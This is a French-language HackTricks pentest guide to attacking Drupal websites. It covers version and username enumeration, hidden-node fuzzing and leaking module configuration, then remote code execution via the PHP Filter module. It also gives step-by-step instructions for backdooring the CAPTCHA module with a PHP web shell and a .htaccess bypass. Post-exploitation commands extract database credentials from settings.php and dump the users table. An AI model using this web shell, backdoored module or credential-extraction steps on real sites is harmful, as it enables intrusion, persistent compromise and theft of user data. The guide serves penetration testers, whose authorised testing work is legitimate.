9 KiB
Drupal
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Découverte
- Vérifiez les meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node : Drupal indexe son contenu en utilisant des nœuds. Un nœud peut contenir n'importe quoi, comme un billet de blog, un sondage, un article, etc. Les URI des pages sont généralement de la forme
/node/<nodeid>
.
curl drupal-site.com/node/1
Énumération
Drupal prend en charge trois types d'utilisateurs par défaut :
Administrateur
: Cet utilisateur a un contrôle total sur le site web Drupal.Utilisateur Authentifié
: Ces utilisateurs peuvent se connecter au site web et effectuer des opérations telles que l'ajout et la modification d'articles en fonction de leurs permissions.Anonyme
: Tous les visiteurs du site web sont désignés comme anonymes. Par défaut, ces utilisateurs ne sont autorisés qu'à lire les articles.
Version
- Vérifiez
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Les installations plus récentes de Drupal bloquent par défaut l'accès aux fichiers CHANGELOG.txt
et README.txt
.
{% endhint %}
Énumération des noms d'utilisateur
Inscription
Dans /user/register, essayez simplement de créer un nom d'utilisateur et si le nom est déjà pris, cela sera notifié :
Demander un nouveau mot de passe
Si vous demandez un nouveau mot de passe pour un nom d'utilisateur existant :
Si vous demandez un nouveau mot de passe pour un nom d'utilisateur non-existant :
Obtenir le nombre d'utilisateurs
En accédant à /user/<number>, vous pouvez voir le nombre d'utilisateurs existants, dans ce cas c'est 2 car /users/3 retourne une erreur de non trouvé :
Pages cachées
Fuzz /node/$
où $
est un nombre (de 1 à 500 par exemple).
Vous pourriez trouver des pages cachées (test, dev) qui ne sont pas référencées par les moteurs de recherche.
Informations sur les modules installés
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automatique
droopescan scan drupal -u http://drupal-site.local
Exécution de Code à Distance (RCE)
Avec le Module PHP Filter
{% hint style="warning" %}
Dans les anciennes versions de Drupal (avant la version 8), il était possible de se connecter en tant qu'admin et d'activer le module PHP filter
, qui "Permet l'évaluation de code/snippets PHP intégrés."
{% endhint %}
Vous avez besoin que le plugin php soit installé (vérifiez-le en accédant à /modules/php et si cela retourne un 403, alors, il existe, si non trouvé, alors le plugin php n'est pas installé)
Allez dans Modules -> (Cocher) PHP Filter -> Enregistrer la configuration
Ensuite, cliquez sur Ajouter du contenu -> Sélectionnez Page de base ou Article -> Écrivez du shellcode php dans le corps -> Sélectionnez Code PHP dans Format de texte -> Sélectionnez Aperçu
Finalement, accédez simplement au nœud nouvellement créé :
curl http://drupal-site.local/node/3
Installer le module PHP Filter
À partir de la version 8, le module PHP Filter n'est pas installé par défaut. Pour utiliser cette fonctionnalité, nous devons installer le module nous-mêmes.
- Téléchargez la version la plus récente du module sur le site web de Drupal.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Une fois téléchargé, allez dans
Administration
>Rapports
>Mises à jour disponibles
. - Cliquez sur
Parcourir
, sélectionnez le fichier depuis le répertoire où nous l'avons téléchargé, puis cliquez surInstaller
. - Une fois le module installé, nous pouvons cliquer sur
Contenu
et créer une nouvelle page de base, de la même manière que dans l'exemple de Drupal 7. Assurez-vous de nouveau de sélectionnerCode PHP
dans le menu déroulantFormat de texte
.
Module avec backdoor
Un module avec backdoor peut être créé en ajoutant un shell à un module existant. Les modules peuvent être trouvés sur le site web drupal.org. Choisissons un module tel que CAPTCHA. Descendez et copiez le lien pour l'archive tar.gz archive.
- Téléchargez l'archive et extrayez son contenu.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Créez un PHP web shell avec le contenu :
<?php
system($_GET["cmd"]);
?>
- Ensuite, nous devons créer un fichier
.htaccess
pour nous donner accès au dossier. Cela est nécessaire car Drupal interdit l'accès direct au dossier/modules
.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- La configuration ci-dessus appliquera des règles pour le dossier / lorsqu'une demande de fichier est faite dans /modules. Copiez ces deux fichiers dans le dossier captcha et créez une archive.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- En supposant que nous ayons un accès administratif au site web, cliquez sur
Gérer
puis surÉtendre
dans la barre latérale. Ensuite, cliquez sur le bouton+ Installer un nouveau module
, et nous serons redirigés vers la page d'installation, commehttp://drupal-site.local/admin/modules/install
. Parcourez jusqu'à l'archive Captcha avec backdoor et cliquez surInstaller
. - Une fois l'installation réussie, naviguez vers
/modules/captcha/shell.php
pour exécuter des commandes.
Post Exploitation
Lire settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Extraire les utilisateurs de la base de données
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Références
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.